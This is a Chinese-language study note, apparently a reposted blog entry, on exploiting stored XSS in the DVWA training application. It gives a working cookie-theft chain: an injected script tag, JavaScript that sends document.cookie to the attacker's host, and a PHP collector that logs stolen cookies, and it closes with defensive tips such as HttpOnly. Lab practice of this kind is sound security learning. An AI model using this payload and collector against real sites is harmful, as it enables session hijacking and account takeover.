Web安全測試學習筆記-DVWA-存儲型XSS


XSS(Cross-Site Scripting)大致分為反射型和存儲型兩種,之前對XSS的認知僅停留在如果網站輸入框沒有屏蔽類似<script>alert('ok')</script>的代碼,那么這個網站就有被XSS攻擊的風險,到底有什么風險呢?又是怎么被攻擊的呢?sorry,我也不知道>_<

 

我用DVWA來練習存儲型XSS,目標是竊取用戶賬號(通過拿到對方的登錄cookie)。我在本機再開一台虛擬機,用虛擬機(模擬另一個用戶)訪問:http://IP地址/dvwa/vulnerabilities/xss_s/。這個頁面是不是很像留言或者評論頁面~

 

security level = low

1.  在本機登錄(模擬攻擊方),輸入時發現Name做了長度限制,而Message沒有,所以攻擊點在Message的輸入框

     輸入:<script src="http://172.24.107.155/test.js"></script>

     

     

     刷新一下當前頁面,剛插入的記錄仍然存在,說明惡意代碼已經被“存儲”在這個頁面了~

2. 在本機的php服務下放入js代碼文件和php文件。

   js文件用來在被攻擊方采集cookie並傳入php頁面,php頁面將cookie存入名為cookies的文件中。

   test.js文件內容:

var img = document.createElement("img")
img.src = "http://本機ip地址/test.php?cookies="+escape(document.cookie);
document.body.appendChild(img);

  test.php文件內容:

<?php
$cookie = $_GET["cookies"];error_log($cookie ."". "\n",3,"cookies");
?>

3. 在虛擬機登錄(模擬被攻擊方),訪問剛才的頁面:http://IP地址/dvwa/vulnerabilities/xss_s/,被攻擊方也能看到剛才上傳的那條記錄(此時js代碼已經被執行了..>_<..):

4. 獲得登錄憑證

    攻擊方此時啥也不用再干,守株待兔,等着js吧cookie發送到本機后,到剛才放入test.js和test.php文件的地方,會發現多了一個名為cookies的文件~

    

     打開cookies文件,里面記錄了被攻擊方的登陸cookie:

    

    拿到對方的登錄憑證之后,我們就能通過構造http請求(把對方的cookie傳進去),以對方的身份操作網站,如果對方的是admin的話,Hmm......

 

security level = medium/high

medium和high模式下,對Message做了輸入過濾,對name只替換了<script>,並加上了長度限制,使用Burp Suite抓包把name的輸入改為如下即可

 

一點點感悟:

1. 通過腳本讀取cookie其實很好防御,加上HttpOnly就好了>_<

2. 參數的長度校驗前后端都要做,只做前端等於沒做。。。

 

如需轉載,請注明出處,這是對他人勞動成果的尊重~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM